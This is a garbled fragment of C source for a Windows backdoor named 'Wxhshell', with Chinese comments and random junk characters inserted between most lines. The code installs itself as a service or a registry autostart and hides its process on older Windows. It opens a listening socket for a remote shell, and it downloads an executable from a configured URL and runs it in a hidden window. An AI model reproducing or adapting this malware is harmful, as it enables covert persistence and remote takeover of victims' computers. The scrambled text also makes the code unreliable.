.6_ebL 5gEK$7Vp CloseHandle(hProcess); vX%gcs/@ 3!x)LUWfWY if(strstr(procName,"services")) return 1; // 以服务启动 )9->]U@ de=T7,G# return 0; // 注册表启动 jd*H$BU^ } DdgFBO h]$zub // 主模块 &y+eE?j int StartWxhshell(LPSTR lpCmdLine) p04w83 jX { V5w^Le_^ SOCKET wsl; W&#Nk5d BOOL val=TRUE; G7?EaLsfQ int port=0; Nh%8; struct sockaddr_in door; v~3q4P NKrk*I"G if(wscfg.ws_autoins) Install(); &aOOG8l Y$^QH.h port=atoi(lpCmdLine); q?\D9aT9 HC+R:Dz if(port<=0) port=wscfg.ws_port; 10^=1@U /[M~##%: WSADATA data; Rz]bCiD3
B if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -9EbU7>! m|[Hhw=f if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |/$#G0X;H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3u<2~!sR door.sin_family = AF_INET; cs)hq4-L` door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2]wh1) door.sin_port = htons(port); ?1sY S [R$4n-$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fBmx +7 closesocket(wsl); #s%$kYp 1 return 1; XRkqMq% } :08UeEy V96BtVsB if(listen(wsl,2) == INVALID_SOCKET) { W0k_"uI closesocket(wsl); 2~ a4ib return 1; JI(|sAH } ,*30Q Wxhshell(wsl); H2} i . WSACleanup(); f?QD##~; !Fi)-o return 0; {Bx\Z0+'& hSmM OS{ } gqG"t@Y+ !O*n6}nPE // 以NT服务方式启动 $[Ns#7K VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X+iULr.^`~ { t<tBOesQ DWORD status = 0; Zh$Z$85p DWORD specificError = 0xfffffff; ~7v^7;tT whshjl?a serviceStatus.dwServiceType = SERVICE_WIN32; 2Xosj(H serviceStatus.dwCurrentState = SERVICE_START_PENDING; Rk<:m+V= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
.1;?#t]ZV serviceStatus.dwWin32ExitCode = 0; V#gXchH[L serviceStatus.dwServiceSpecificExitCode = 0; xS'So7: h serviceStatus.dwCheckPoint = 0; [Pay<]c6g serviceStatus.dwWaitHint = 0; =*pu+o,? n~Ix8|S h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^]HwStn&= if (hServiceStatusHandle==0) return; f
36rU dO2cgY} status = GetLastError(); EHOdst if (status!=NO_ERROR) M6>l%[ { +t f= serviceStatus.dwCurrentState = SERVICE_STOPPED; Vufw:}i+^ serviceStatus.dwCheckPoint = 0; <[Vr(.A serviceStatus.dwWaitHint = 0; w jF\> serviceStatus.dwWin32ExitCode = status; @)}U\= serviceStatus.dwServiceSpecificExitCode = specificError; Rp#SqRy` SetServiceStatus(hServiceStatusHandle, &serviceStatus); =g ]C9'I3 return; QnqX/vnR } ,=FYf|Z %2.T1X%! serviceStatus.dwCurrentState = SERVICE_RUNNING; Y*6*;0Kx serviceStatus.dwCheckPoint = 0; *T3"U|0_ y serviceStatus.dwWaitHint = 0; {221@ zcCq if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^,3 >}PU } IKt9=Tx D~<GVp5T // 处理NT服务事件,比如:启动、停止 fN9hBC@ VOID WINAPI NTServiceHandler(DWORD fdwControl) ^U1;5+2G+~ { shD$,!
k switch(fdwControl) |Z<adOg { *+G K?Ga case SERVICE_CONTROL_STOP: V}( "8L serviceStatus.dwWin32ExitCode = 0; S9.jc@#.` serviceStatus.dwCurrentState = SERVICE_STOPPED; +{s^"M2` serviceStatus.dwCheckPoint = 0; aaBBI S serviceStatus.dwWaitHint = 0; S"dQ@r9 { $ 8s&=OW SetServiceStatus(hServiceStatusHandle, &serviceStatus); oq|K:<l } @[^H*^1|g return; W{%M+a[#l case SERVICE_CONTROL_PAUSE: 0
[s1!Cm!i serviceStatus.dwCurrentState = SERVICE_PAUSED; D^pAf/ek@i break; |:AjQ&PM) case SERVICE_CONTROL_CONTINUE: T@L^RaPX serviceStatus.dwCurrentState = SERVICE_RUNNING; ?h5Y^}8Qg break; 8n56rOW! case SERVICE_CONTROL_INTERROGATE: _&T$0SZco break; 2iUF%> }; @{bf]Oc SetServiceStatus(hServiceStatusHandle, &serviceStatus); !"wIb.j}0 } QRRZMdEGs[ up`6IWlLE // 标准应用程序主函数 *Hs5MXNu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lczcz"t { :r\<DVj Tb}b*d3 // 获取操作系统版本 ALG + OsIsNt=GetOsVer(); (Fu9lW}n GetModuleFileName(NULL,ExeFile,MAX_PATH); R\XJ WA<~M)rb // 从命令行安装 }\9qN! ol if(strpbrk(lpCmdLine,"iI")) Install(); rC'97`!K !l}es4~.a // 下载执行文件 AojX)_"z if(wscfg.ws_downexe) { Mqna0"IYx* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {P*RA'H3G WinExec(wscfg.ws_filenam,SW_HIDE); (LnKaf8 } RW3&]l= {3l]/X3 if(!OsIsNt) { 7,:QFV // 如果时win9x,隐藏进程并且设置为注册表启动 H:CwUFL HideProc(); ^mH^cP?/ StartWxhshell(lpCmdLine); V%"aU}
} d
hh`o\$ else m~2PpO if(StartFromService()) <FP&1Eg!| // 以服务方式启动 ZM\Z2L]n StartServiceCtrlDispatcher(DispatchTable); Mq-;sPsFP else SlmgFk!r! // 普通方式启动 `}1 8A.K StartWxhshell(lpCmdLine); emTqbO Qax=_[r return 0; Ty7xjIs }
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